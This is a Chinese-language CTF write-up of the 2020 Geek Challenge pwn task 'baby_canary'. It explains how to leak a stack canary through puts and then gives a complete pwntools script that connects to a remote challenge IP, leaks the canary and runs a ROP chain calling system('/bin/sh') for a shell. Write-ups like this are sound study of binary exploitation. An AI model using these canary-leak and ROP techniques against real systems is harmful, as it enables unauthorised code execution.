[2020Geek Challenge]baby_canary

本文最后修改于 170 天前,部分内容可能已经过时!

前言

本题布置在了我的复现平台(https://ctf.donstpast.cn/)
这个题呢,是一个简单的canary泄露吧,但是确实一开始也不会canary,对于canary只会利用格式化字符串漏洞找一下,之后呢,经过不断看大师傅的wp以及一些canary绕过教程,逐渐有了自己的理解。

前置知识

canary绕过方式之一:因为canary的低位是\x00截断符,而puts函数在遇到\X00会终止,所以我们可以尝试用\x0a去覆盖掉这个低位,之后canary就会被puts打印出来,之后我们获得后面八位后,减去0xa即可。

题目复现

1.png
打开题目,老样子,先file和checksec,发现这是个64位程序,开启了canary保护和NX保护
2.png
3.png
之后,用ida查看,f5反编译后
4.png
并没有发现什么,跟进 sub_40072A()这个函数
5.png
6.png
7.png
发现了明显的栈溢出漏洞。但是因为这道题开启了canary保护,所以如果我们直接栈溢出覆盖掉canary的值后,程序会报错退出。所以,想要覆盖返回地址,就必须先泄露canary的值,之后将canary的值放到对应位置,来完成这次覆盖。
由于函数内有puts函数存在,它会连续两次输出栈的信息直到遇到\x00,所以我们可以利用第一次输入,将canary末尾的\x00换为\x0a,这样就完成了对canary的泄露。之后第二次输入的时候构造一次rop就ok了,思路有了,那么第一步就是数据收集了。
首先我们通过f12是看到有现成的/bin/sh/的,查看它的地址为0x4008ED
8.png
之后,我们要去寻找sysytem的plt地址,这个可以借助pwntools来找,不过我更习惯用objdump来找(或者ida)
9.png
10.png

所以,获得system的plt地址:0x4005e0
之后由于要构造rop,我们需要找一下rdi的出栈地址,按如下命令,get到地址为:0x400873
11.png
这样,我们的脚本就可以写出来了

from pwn import *
context(os='linux', arch='amd64', log_level='debug')     #采用debug模式,方便调试
p=remote("101.132.117.190",10004)
bin_sh_addr=0x4008ED
system_plt=0x4005e0
pop_rdi=0x400873
p.recvuntil("may be you know it,plz tell me.\n")
p.sendline("a"*0x67+'#')          #第一次输入,用来泄露canary
p.recvuntil('#')
canary = u64(p.recv(8))-0xa        在#后面八位是canary的值,只不过我们将末位改为了0a,所以需要减去
print hex(canary)
rop=[
    pop_rdi,
    bin_sh_addr,
    system_plt
]
p.recvuntil("\n")              #这里也可以换为sleep(2),只要完成等待一下再输入就行
p.sendline('a'*0x68+p64(canary)+'a'*0x8+flat(rop))

p.interactive()
Tags:复现wpCTFPwn
上一篇
下一篇

添加新评论

召唤看板娘